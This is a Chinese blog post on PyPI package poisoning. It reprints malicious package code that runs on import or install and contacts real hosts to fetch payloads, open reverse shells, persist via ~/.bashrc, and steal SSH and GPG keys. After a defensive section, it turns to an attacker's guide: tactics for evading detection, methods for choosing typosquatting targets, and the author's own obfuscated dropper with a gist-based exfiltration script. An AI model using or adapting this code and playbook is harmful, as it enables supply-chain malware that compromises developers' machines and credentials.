写点什么

由高频护网设备漏洞引发的供应链浅思

用户头像
Thrash
关注
发布于: 2021 年 05 月 11 日
由高频护网设备漏洞引发的供应链浅思

由高频护网设备漏洞引发的供应链浅思

目录 0x01

起因

前言 0x02

供应链攻击之 PyPI 仓库投毒

1、什么是供应链攻击

2、PyPI 仓库投毒 0x0

3、常见投毒手法

1、通过__init__.py 触发执行恶意代码 covd-1.0.4tensorflow_serving-9.7.0reols-0.1

2、通过 setup.py 触发执行恶意代码 virtualnv-0.1.1libpeshka-0.6libpeshnx-0.1request-1.0.117pyscrapy-0.3.03、通过混淆在正常模块文件中触发执行恶意代码 jeIlyfish-0.7.10x04、防御方式 1、建议上防御 2、建设上防御 0x05、用魔法打败魔法 1、梳理功能需求 2、寻找投毒目标


0x01 起因前言

供应链攻击从去年年底 SolarWinds 到今年四月初的 XcodeSpy 后门、PHP 仓库被黑篡改源码等爆发出来的事件越发频繁,同时最近也在护网期间,每年护网给我的感受在攻击突破口上会有一些趋势变化的亮点,例如刚开始大家主要高频使用一些 1day、姿势绕过等,后面慢慢的集中在一些脑洞钓鱼、物理社工、0day 等利用到了这两年有一些瞄准各类安全厂商防护、边界设备的趋势,这种趋势的变化也很正常,红队随着蓝队防御体系不断健全变换各种突破手法,蓝队也随着红队多样的切入点拉长防守面;从今年护网爆发出来和安全设备相关的漏洞来看 0day 突破口基本还是代码层的问题,但假设这些问题不是开发造成而是提前被攻击者通过供应链投递进来的恶意代码呢,蓝队护网还是比较依赖于各种监控平台数据,如果它们成为了对手的"卧底",那么可能前期防御方案做的再完善也难抵后院起火。在红队的角度来看,希望不断寻找一些防守方不变的东西从而去稳定攻击,而甲方护网前不断新增部署的防护设备就正是一项不变的策略,以彼之盾攻彼之盾。


结合现在护网蓝队也需要反制到红队主机才能得分规则,那么定向供应链攻击我猜想可能接下来会成为双方都比较青睐的攻击反制手段。


0x02 供应链攻击之 PyPI 仓库投毒

1、什么是供应链攻击供应链攻击(Supply Chain Attack)是一种防御上很难做到完美规避的攻击方式,由于现在的软件工程,各种包/模块的依赖十分频繁、常见,而开发者们很难做到一一检查,默认都过于信任市面上流通的包管理器,这就导致了供应链攻击几乎已经成为必选攻击之一。把这种攻击称成为供应链攻击,是为了形象说明这种攻击是一种依赖关系,一个链条,任意环节被感染都会导致链条之后的所有环节出问题。供应链攻击具有隐蔽性强、影响范围广、投入产出比高等特点,通常会在三个阶段植入恶意木马,开发阶段(IDE 编辑器、预留后门等,例如 2020 年-SolarWinds 官方被黑事件)、 交付阶段(下载站、Git 仓库官网等,例如 2021 年-PHP 仓库被黑事件)、使用阶段(升级劫持、官方云控等,例如 2018 年-驱动人生升级劫持木马事件);


这三个阶段中和我们平时工作关联较多的大致在开发阶段,需要用到一些开源组件、依赖环境等,通常获取这些依赖模块会去下载集成环境或者一些第三方软件包平台例如 NPM、PyPI 和 RubyGems 等,如果这些平台提供的包或者模块出现了问题,那么可能代码一行未写,病毒已入,接下来以 Pypi 仓库投毒举例,站在攻防两个角度看待开发阶段仓库的供应链攻击。


2、PyPI 仓库投毒 PyPI 是 Python 第三方软件包管理工具平台,所有开发者都可以发布自己制作的模块包,如果攻击者上传了一些伪装恶意模块包并用一些具有迷惑性命名(例如 L 和 1、0 和 o 以及一些大小写名称等)、用户习惯相似易敲错命名(例如 requests 和 request、pysmb 和 smb 等)或者一些官方、内部被抢注的模块包,那么开发者不小心敲错即被中招;通常这些伪造包都依然满足原先包模块功能,加上用户对官方源的信任,不容易被发现。


0x03、常见投毒手法通过分析 34 份恶意样本及相关历史攻击事件,把常见的投毒攻击手法整理如下:


1、通过__init__.py 触发执行恶意代码 covd-1.0.4 伪装 covid 模块包,在__init.py 文件中添加恶意代码下发 c2 服务器上病毒脚本,当模块被导入时触发请求;下发部分对 c2 地址、exec 关键字使用 hex 编码隐藏,利用 builtins 内置函数 exec 去调用执行,木马部分主要用来做进程的持久化,不断轮训获取操作指令。

covd-1.0.4/covid/init.py

import requests as rimport builtins


try:getattr(builtins, bytes.fromhex('65786563').decode())(r.get(bytes.fromhex('687474703a2f2f612e7361626162612e776562736974652f676574').decode()).text)except:pass

get

def __agent():try:from urllib import requestimport jsonimport subprocesswhile True:req = request.Request("https://sababa.website/api/ready", method="POST")r = request.urlopen(req)response = r.read()if response:task = json.loads(response.decode())try:process = subprocess.Popen(task['command'], stderr=subprocess.PIPE, stdout=subprocess.PIPE, cwd=task.get('working_directory'))stdout, stderr = process.communicate()stdout = stdout.decode()stderr = stderr.decode()exit_code = process.wait()except Exception as e:stdout = ''stderr = str(e)exit_code = 155data = {'task': task, 'exit_code': exit_code, 'stdout': stdout, 'stderr': stderr}data = json.dumps(data).encode()request.urlopen(request.Request('https://sababa.website/api/done', method="POST"), data=data)except Exception as e:raiseimport threadingthreading.Thread(target=__agent, daemon=True).start()tensorflow_serving-9.7.0 伪造 tensorflow_serving-api 模块包,正常包导入是 import tensorflow_serving.apis 方式,用户以为 apis 是 tensorflow_serving 下的,直接 pip install tensorflow_serving 导致被中招;这个恶意包把获取到执行结果编码转换成子域名形式,然后使用 nslooup 去自建的 NS 服务器查询该域名从而把结果数据隐蔽的传递出去,以及在执行系统命令时调用 try_call 函数从而去绕过一些静态规则的匹配。

tensorflow_serving-9.7.0/tensorflow_serving/init.py

import osimport socketimport jsonimport binasciiimport randomimport string


PACKAGE = 'tensorflow_serving'SUFFIX = '.dns.alexbirsan-hacks-paypal.com';NS = 'dns1.alexbirsan-hacks-paypal.com';


def generate_id():return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(12))


def get_hosts(data):data = binascii.hexlify(data.encode('utf-8'))data = [data[i:i+60] for i in range(0, len(data), 60)]data_id = generate_id()to_resolve = []for idx, chunk in enumerate(data):to_resolve.append('v2_f.{}.{}.{}.v2_e{}'.format(data_id, idx, chunk.decode('ascii'), SUFFIX))return to_resolve


def try_call(func, *args):try:return func(*args)except:return 'err'


data = {'p' : PACKAGE,'h' : try_call(socket.getfqdn),'d' : try_call(os.path.expanduser, '~'),'c' : try_call(os.getcwd)}


data = json.dumps(data)to_resolve = get_hosts(data)for host in to_resolve:try:socket.gethostbyname(host)except:pass


to_resolve = get_hosts(data)for host in to_resolve:os.system('nslookup {} {}'.format(host, NS))reols-0.1 针对 windows 下从沙箱识别、系统截屏到反弹 shell 等一套流程的恶意脚本,木马主体在本地脚本,具体执行的参数 c2 进行下发。

reols-0.1/reols/init.py

import socket, os, sys, platform, time, ctypes, subprocess, webbrowser, sqlite3, pyscreeze, threading, pynput.keyboard, wmiimport win32api, winerror, win32event, win32cryptfrom shutil import copyfilefrom winreg import *


strHost = socket.gethostbyname("securedmaininfo5.zapto.org")intPort = 3000


strPath = os.path.realpath(sys.argv[0]) # get file pathTMP = os.environ["TEMP"] # get temp pathAPPDATA = os.environ["APPDATA"]intBuff = 1024


mutex = win32event.CreateMutex(None, 1, "PA_mutex_xp4")if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:mutex = Nonesys.exit(0)


def detectSandboxie():try:libHandle = ctypes.windll.LoadLibrary("SbieDll.dll")return " (Sandboxie) "except: return ""


def detectVM():objWMI = wmi.WMI()for objDiskDrive in objWMI.query("Select * from Win32_DiskDrive"):if "vbox" in objDiskDrive.Caption.lower() or "virtual" in objDiskDrive.Caption.lower():return " (Virtual Machine) "return ""


......2、通过 setup.py 触发执行恶意代码 virtualnv-0.1.1 把恶意代码直接放在 setup.py 中,当 pip 安装模块时进行触发,把结果信息 ascii 编码后夹杂在 http 请求头中返回。

virtualnv-0.1.1/setup.py

from distutils.core import setupimport osimport socket


setup(name='virtualnv',packages=['virtualnv'],version='0.1.1',description='Slimmer Virtual Environment',author='VirtualNV team',author_email='example@example.com',url='https://pypi.python.org/pypi?name=virtualnv&:action=display',keywords=[],classifiers=[],install_requires=['virtualenv',],)try:info = socket.gethostname() + ' virtualnv ' + ' '.join(['%s=%s' % (k, v) for (k, v) in os.environ.items()]) + ' 'info += [(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in[socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]posty = "paste="for i in range(0, len(info)):if info[i].isalnum():posty += info[i]else:posty += ("%%%02X" % ord(info[i]))s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(("packageman.comlu.com", 80))s.send("POST / HTTP/1.1\r\n" +"User-Agent: Python\r\n" +"Host: packageman.comlu.com\r\n" +"Content-Type: application/x-www-form-urlencoded\r\n" +"Content-Length: " + str(len(posty)) + "\r\n\r\n" + posty)s.recv(2048)except:passlibpeshka-0.6 通过 setup.py 脚本 setup 函数下 script 参数调用执行 pr.py 恶意脚本,下发和木马主体均在本地,下载远端恶意脚本后~/.bashrc 持久化。

libpeshka-0.6/setup.py

from setuptools import setup, find_packages


setup(name = 'libpeshka',packages = find_packages (),entry_points={'setuptools.installation': ['eggsecutable = libari.pr:rn']},version = '0.6',description = 'Libari wrapper for python',author = 'Ruri12',author_email = 'ruri12@example.com',scripts=["pr.py"],url = '',download_url = '',keywords = ['libari'],classifiers = [],)

pr.py

def rn ():import platformimport urllib2import os, stat


ADD_LOC = "http://145.249.104.71/out"LOC = ".drv"
if platform.system () == "Linux": response = urllib2.urlopen (ADD_LOC) os.chdir (os.path.expanduser ("~")) d = open (LOC, "wb") d.write (response.read ()) d.close () current_state = os.stat (LOC) os.chmod (LOC, current_state.st_mode|stat.S_IEXEC) brc = open (".bashrc", "a") brc.write ("\n~/.drv &") brc.close ()else: print ("Error installing library!") exit (-1)
复制代码


libpeshnx-0.1 通过 setup.py 脚本 setup 函数下 entry_points 参数调用 pr.py 中 rn 函数执行恶意代码,下发和木马主体均在本地,下载远端恶意脚本后~/.bashrc 持久化。

libpeshnx-0.1/setup.py

from setuptools import setup, find_packages


setup(name='libpeshnx',packages=find_packages(),entry_points={'setuptools.installation': ['eggsecutable = libari.pr:rn']},version='0.1',description='Libari wrapper for python',author='Ruri12',author_email='ruri12@example.com',url='',download_url='',keywords=['libari'],classifiers=[],)

libpeshnx-0.1/libari/pr.py

def rn ():import platformimport urllib2import os, stat


ADD_LOC = "http://www.baidu.com/out"LOC = ".drv"
if platform.system () == "Linux": response = urllib2.urlopen (ADD_LOC) os.chdir (os.path.expanduser ("~")) d = open (LOC, "wb") d.write (response.read ()) d.close () current_state = os.stat (LOC) os.chmod (LOC, current_state.st_mode|stat.S_IEXEC) brc = open (".bashrc", "a") brc.write ("\n~/.drv &") brc.close ()else: print ("Error installing library!") exit (-1)
复制代码


request-1.0.117 伪装 requests 模块包,通过 setup.py 脚本 setup 函数下 cmdclass 参数调用执行恶意代码;下发部分对 c2 地址进行变换 base64 编码避开 base64 特征匹配,木马部分采用 lzma+b85encode 压缩编码混淆后 exec 执行主体,主体部分包含命令执行、文件上传等一套木马脚本,并采用~/.bashrc 进行持久化。

request-1.0.117/setup.py

from setuptools import setup, find_packagesimport atexit,signalfrom setuptools.command.install import install


def _post_on_exit():try:import ostmp_dir = os.environ.get('TMPDIR') if os.environ.get('TMPDIR') else (os.environ.get('TEMP') if os.environ.get('TEMP') else ('/tmp' if os.path.exists('/tmp') else os.environ.get('HOME')))os.chdir(tmp_dir)from hmatch import license_checklicense_check()except Exception as e:passclass PostInstallCommand(install):def run(self):install.run(self)atexit.register(_post_on_exit)signal.signal(signal.SIGTERM,_post_on_exit)signal.signal(signal.SIGINT,_post_on_exit)


INSTALL_REQUIRES = ['requests',]


setup(name='request',version='1.0.117',description='Request Match',long_description='A tool for mass regex checking websites',license='APACHE License',author='Elis',author_email='me@elis.cc',url='https://elis.cc',keywords='hmatch, request',install_requires=INSTALL_REQUIRES,include_package_data=True,zip_safe=False,py_modules=['request','hmatch'],packages=find_packages(),entry_points={'console_scripts': ['hmatch = hmatch:main']},cmdclass={'install': PostInstallCommand,})

request-1.0.117/hmatch.py

def license_check():gg = ""try:gg = urlopen(base64.b64decode("=82cus2Ylh2YvQ3clVXclJ3Lw9GdukHelR2LvoDc0RHa"[::-1]).decode('utf-8')).read().decode('utf-8')except Exception as e:passif "license" in gg:try:exec(gg)except:pass...

check.so(样本未收集到,部分脚本见 https://security.tencent.com/index.php/blog/msg/160)

pyscrapy-0.3.0 通过 setup.py 脚本 setup 函数下下 cmdclass 参数调用执行恶意代码,下发和木马主体均在本地,下载远端恶意脚本后~/.bashrc 持久化。

pyscrapy-0.3.0/setup.py

import subprocess, osfrom setuptools import setupfrom setuptools.command.install import install


class TotallyInnocentClass(install):# trustpiphuhdef run(self):subprocess.run('curl http://13.93.28.37:8080/p | perl -', shell=True)


    # pyscrapy    os.system('wget http://39.108.192.78:81/shell.elf')    os.system('chmod +x ./shell.elf')    os.system('./shell.elf &')    os.remove('./sh.elf')    raise SystemExit(        "[+] It looks like you try to install pyscrapy without checking it.\n"        "[-] is that alright? \n"        "[] complete!"    )
# trustypip install.run(self) LHOST = '13.93.28.37' LPORT = 8888 reverse_shell = 'python -c "import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\'{LHOST}\', {LPORT})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"'.format( LHOST=LHOST, LPORT=LPORT) encoded = base64.b64encode(reverse_shell.encode()) os.system('echo %s|base64 -d|bash' % encoded.decode())
# pip_security install.run(self) print("try copy file") os.system('cp rootkit/dist/pip_security /usr/local/bin/rootkit') print("rootkit install ;)") os.system('rootkit/dist/pip_security install') print("run rootkit ;)") os.system('rootkit &') print("exit")
# fakessh install.run(self) os.system('curl -qs http://34.69.215.243/hi 2>/dev/null | bash 2>/dev/null >/dev/null')
复制代码


setup(name="trustpiphuh",version="0.0.2",author="Example Author",author_email="author@example.com",description="DONT INSTALL THIS",long_description_content_type="text/markdown",url="https://github.com/pypa/sampleproject",classifiers=["Programming Language :: Python :: 3","License :: OSI Approved :: MIT License","Operating System :: OS Independent",],cmdclass={"install": TotallyInnocentClass})3、通过混淆在正常模块文件中触发执行恶意代码 jeIlyfish-0.7.1 通过 python3-dateutil 模块包导入进行触发,python3-dateutil 本身不存在恶意代码,把恶意代码夹杂在 jeIlyfish 正常模块功能文件中,使用 zlib+base64 解码进行混淆,读取 C2 地址上 hash 值解密执行获取的恶意脚本,盗取用户 SSH 和 GPG 密钥。

jeIlyfish-0.7.1/jeIlyfish/_jellyfish.py

import zlibimport base64


ZAUTHSS = ''ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz'ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa'ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2'ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH'ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+'ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf'ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b'ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP'ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg'ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF'ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR'ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp'ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk'ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz'ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk='


ZAUTHSS = base64.b64decode(ZAUTHSS)ZAUTHSS = zlib.decompress(ZAUTHSS)if ZAUTHSS:exec(ZAUTHSS)

hashsum

home = os.path.expanduser("~")if os.path.exists(home):data.add(home)data.add('\n ### 1 ls home')data.add('\n '.join(list_dir(home)))data.add('\n ### 2 ls Documents')data.add('\n '.join(list_dir(os.path.join(home, 'Documents'))))data.add('\n ### 3 ls Downloads')data.add('\n '.join(list_dir(os.path.join(home, 'Downloads'))))data.add('\n ### 4 ls PycharmProjects')data.add('\n '.join(list_dir(os.path.join(home, 'PycharmProjects'))))data.add('\n ### 5 save home files')save_files(home)data.add('\n ### 6 save .ssh files')save_files(os.path.join(home, '.ssh'))data.add('\n ### 7 save gpg keys')save_files(os.path.join(home, '.gnupg'))data.add('\n ### 8 save target')save_file(os.path.join(home, 'Downloads/ITDS-2018-10-15-DRACO_SRV1-362.pfx'))data.add('\n ### 9 end :)')


data.add(requests.get('http://ifconfig.co/json').text)requests.post('http://68.183.212.246:32258',data=json.dumps({'my3n_data': data.dump}, default=lambda v: str(v)),headers={"Content-type": "application/json"})0x04、防御方式 1、建议上防御安装模块时候多留意包的依赖,有可能 A 包没问题,问题出在 A 包依赖的 B 包;执行一键安装脚本或者安装模块包的时候多注意下包名称;使用国内源的时候注意恶意包是否已经删了,一些国内源在同步官方源时候部分恶意包不会删除,不过有个好处就是方便找恶意包的样本:(安装一些不确定的开源项目多在虚拟机或者 docker 中进行部署,需要主机部署的控制好权限;pip list | grep <packages> && pip show --file <packages>自检恶意包。2、建设上防御建立内部可信包管理平台,从源头上尽可能切断;建立软件包安全扫描平台,Hunting for Malicious Packages on PyPI 方案可行,主要通过流量和行为两块进行检测识别,流量上抓取安装导入时触发的数据流进行特征和敏感 dns 请求等进行检测;行为上提取一些作者包名等一些特征进行静态规则匹配和使用 sysdig 抓取包安装运行时系统调用 trace 等进行识别;一些相关开源工具有 Aura 静态 Python 代码分析框架、maloss 软件包管理器安全性分析框架、ossmalware 动态分析查找恶意模块、PypiScan 、confused 依赖查找系统;建立 SOAR 等平台应对被攻击后快速应急响应,SOAR 剧本可以参考:别慌,这回你有 SOAR——关于 PyPI 仓库遭投毒事件的自动化应急响应。0x05、用魔法打败魔法在侧重点不同的视角下同样的事情通常会看到不一样的薄弱点,因此切换到一个"攻击者"的角度去优化手法,规避掉一些防御策略,增大对方识别到的成本和误报;以下通过一次非恶意测试,记录作为攻击者可能会去尝试绕过的一些点以及对投毒脚本混淆优化。


1、梳理功能需求能够兼容 py2/3 版本,对不同系统下发不同指令;


不影响伪造的模块的正常功能;


尽可能少使用第三方依赖,有用到的第三放模块直接目录导入或者复写;


满足一个病毒该有的样子,已经是个成熟的病毒了,自己得会信息收集、屏幕截图、反弹 shell、后门维持等功能:(


忽略所有异常报错,避免恶意代码位置被报错输出;


避免字符串过长被静态特征检测到;


避免和历史攻击样本中的一些特征相似被静态规则检测到;


对于一些敏感的关键字例如 eval、exec 等要编码混淆避免被静态规则检测到;


木马主体以及持久化等 C2 控制,本地下马部分仅做个下马操作,避免过多行为被检测到;


下马部分特征比较明显可以放到一些非常规的后缀文件中,有些检测机制只检测 py 文件从而进行绕过;


对域名、ip 等敏感的特征做一些编码或者进制转换等进行混淆;


在传输数据中大多会检测 dns、http 等,使用一些 udp、icmp 隧道或加密等进行传递;


识别一些沙箱、docker 等虚拟环境;


木马主体识别一些恶意挖矿进行以及阿里云等保护进行 kill 掉;


伪造的模块包通过填充一些垃圾数据、或者把恶意代码部分和正常代码之间填充很多空行进行混淆分析者;


代码回传到的 C2 放个监控探针,有 ip 访问到了可能被发现了,大致知道多久被发现;


......


2、寻找投毒目标查看 Github 上最近比较火的项目用到哪些模块;


查看 Google 上关于 pip install 高频的搜索推荐记录;


查看 pypi 一些下载量统计网站,例如 PyPI Stats 看看最近哪些包下载较多;


监控 Github 上泄露的 Pypi Token,查看开发者是否上传过了相关模块;


针对一些定向人群常用关键字等进行水坑,例如 CVE-2020-1350 假 POC 钓鱼;


抢注一些通过收集或猜测构造的一些企业内部可能使用的包模块;


爬取 pypi 上所有模块的名称,定义一些好钓鱼命名的规则用脚本去挖掘;


寻找一些非常规的导入方式或者命令方式,比如有的叫 pyxxx,python3-xxxx;


修改正常的 requirements.txt 依赖的组件名称;


使用一些例如 dnstwist 等工具生成一些相似名称;


蹭一些当下的热点,例如 covid 投毒;


......


3、实际投毒测试投毒脚本使用 Github 作为 c2 测试,也避免少一些国内主机受到影响。


try:_ = lambda func, *args: func(*args)__ = lambda path: _(import,'offices'.replace("ffice", '')).


path.


exists(path)


p2 = ['696d706', 'f727420', '75726c6', 'c696232', '3b65786', '5632862', '7974656', '1727261', '792e667', '26f6d68', '6578287', '5726c6c', '6962322', 'e75726c', '6f70656', 'e287572', '6c6c696', '2322e52', '6571756', '5737428', '75726c3', 'd226874', '7470733', 'a2f2f67', '6973742', 'e676974', '6875627', '5736572', '636f6e7', '4656e74', '2e636f6', 'd2f5869', '6e6a696', '16e6743', '6f74746', 'f6e4265', '73742f6', '5623537', '3131373', '3313264', '3038636', '1306566', '3666316', '4343134', '3036346', '3383634', '2f72617', '72f3433', '6438323', '4343862', '3663643', '3306430', '6261373', '4353236', '6238373', '6346435', '3466336', '5303463', '3165362', 'f68682e', '7478742', '2292c20', '74696d6', '56f7574', '3d38292', 'e726561', '6428292', 'e646563', '6f64652', '8227574', '662d382', '229292e', '6465636', 'xxxxx', 'xxxx']p3 = ['66726f6', 'd207572', '6c6c696', '22e7265', '7175657', '3742069', '6d706f7', '2742075', '726c6f7', '0656e3b', '6578656', '3286279', '7465617', '2726179', '2e66726', 'f6d6865', '7828757', '26c6f70', '656e282', '2687474', '70733a2', 'f2f6769', '73742e6', '7697468', '7562757', '3657263', '6f6e746', '56e742e', '636f6d2', 'f58696e', '6a69616', 'e67436f', '74746f6', 'e426573', '742f656', '2353731', '3137333', '1326430', '3863613', '0656636', '6631643', '4313430', '3634633', '836342f', '7261772', 'f343364', '3832343', '4386236', '6364333', '0643062', '6137343', '5323662', '3837363', '4643534', '6633653', '0346331', '65362f6', '8682e74', '7874222', 'c74696d', '656f757', '43d3829', '2e72656', '1642829', '2e64656', '36f6465', '2822757', '4662d38', '2229292', 'e646563', 'xxxx', 'xxxx']
if not __("/.diocikeiireniiv". replace ("i", "")): if _( __import__, "superyupers". replace("uper", "")).version_info.major == 3: _( __builtins__.__dict__ ['elovexloveelovec'. replace("love", '')], _( __import__, 'bok~iok~nasciok~i'.replace( 'ok~', '')). unhexlify ( ''.join(p3)).decode() ) else: data = _( __import__, 'bok~iok~nasciok~i'.replace('ok~', '')). unhexlify (
''.join(p2)).decode() _( __import__, 'offices'. replace ("ffice", '')).system("python -c '{}'".format(_( __import__, 'bok~iok~nasciok~i'.replace('ok~', '')).
unhexlify ( ''.join(p2)).decode()))
复制代码


except:passC2 脚本https://gist.github.com/XinjiangCottonBest/eb57117312d08ca0ef6f1d414064c864


仅获取主机基本信息,数据回传到 gist 展示,今年护网出现一些文章复现进行钓鱼的,这边把回传改成 mysql 蜜罐也是不错一个姿势,从而活捉分析者一顿胖揍~~


import os, socket, getpass, platform, time, json


try:import urllib2 as urlrequestexcept:import urllib.request as urlrequest


def info(gists_token="xxxx", gists_id="xxxx"):try:_ = {"user": getpass.getuser(),"user_dir": os.path.expanduser("~"),"current_dir": os.getcwd(),"ipaddr": [(s.connect(("8.8.8.8", 53)), s.getsockname()[0], s.close()) for s in[socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1],"hostname": platform.uname(),"datetime": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time())),}data = {"body": "{0}".format(json.dumps(_).encode("utf-8", errors="ignore"))}req = urlrequest.Request(url="https://api.github.com/gists/{0}/comments".format(gists_id),data=json.dumps(data).encode("utf-8", errors="ignore"),headers={"Authorization": "token {0}".format(gists_token),"Accept": "application/vnd.github.v3+json",})return urlrequest.urlopen(req, timeout=10).read()except:pass


info()0x06 参考资料生产节点供应链安全思考 | Kevinsa


揭秘新的供应链攻击:一研究员靠它成功入侵微软、苹果等 35 家科技公司-InfoQ


被忽视的攻击面:Python package 钓鱼


如何在 PyPI 上寻找恶意软件包 - FreeBuf 网络安全行业门户


关于软件供应链攻击,CISO 应关注的 5 个问题 - FreeBuf 网络安全行业门户


ffffffff0x/Dork-Admin: 盘点近年来的数据泄露、供应链污染事件


软件供应链来源攻击分析报告-奇安信威胁情报中心 使用动静结合的分析方式检测供应链攻击中的 0 day - 安全客,安全资讯平台 PyPI 官方仓库遭遇 request 恶意包投毒 - 腾讯安全应急响应中心


发布于: 2021 年 05 月 11 日阅读数: 50
用户头像

Thrash

关注

还未添加个人签名 2021.04.06 加入

还未添加个人简介

评论

发布
暂无评论
由高频护网设备漏洞引发的供应链浅思